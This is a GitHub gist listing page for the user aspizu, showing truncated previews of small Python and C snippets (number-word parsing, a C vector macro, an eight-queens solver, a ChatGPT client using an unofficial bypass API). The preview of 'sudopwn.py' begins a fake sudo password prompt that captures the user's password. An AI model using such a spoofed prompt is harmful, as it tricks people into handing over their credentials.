Skip to content

Instantly share code, notes, and snippets.

View aspizu's full-sized avatar

aspizu

View GitHub Profile
@aspizu
aspizu / aspizuism.py
Last active May 12, 2025 02:09
aspizuism
# pyright: reportUnusedCallResult=false, reportAny=false, reportUnknownLambdaType=false, reportExplicitAny=false, reportRedeclaration=false
import os
import subprocess
import sys
import urllib.request
def py_version(command: str) -> str | None:
try:
result = subprocess.run(
@aspizu
aspizu / numbers.py
Created October 18, 2023 16:00
Convert number in words to integers in python.
from __future__ import annotations
from typing import Callable, TypeVar
from rich import print
T = TypeVar("T")
U = TypeVar("U")
DIGITS = {
b"twenty": 20,
@aspizu
aspizu / vector.h
Created August 28, 2023 19:43
Generic Dynamic Array Template for C.
#define DEFINE_VEC(TYPE_NAME, TYPE) \
typedef struct TYPE_NAME TYPE_NAME; \
struct TYPE_NAME { \
TYPE * data; \
usize len; \
usize cap; \
}; \
\
TYPE_NAME TYPE_NAME##_new(void); \
void TYPE_NAME##_free(TYPE_NAME * vec); \
import json
import uuid
from typing import cast
import requests
API = "https://bypass.churchless.tech/api"
class ChatGPT:
@aspizu
aspizu / sudopwn.py
Created November 4, 2022 11:56
sudopwn
try:
import os
from getpass import getpass
from pathlib import Path
user: str = os.getlogin()
passwd: str = getpass(f"[sudo] password for {user}: ")
try_paths: list[Path] = [
@aspizu
aspizu / 8queens.py
Last active July 12, 2022 14:12
Find the possible combinations of placing 8 queens on a chess board such that none of them can capture each other
from rich import print
from copy import deepcopy
from sys import stderr
def printboard(board):
print()
print('\n'.join(' '.join(
[
'[black on yellow]#[/]' if i == 2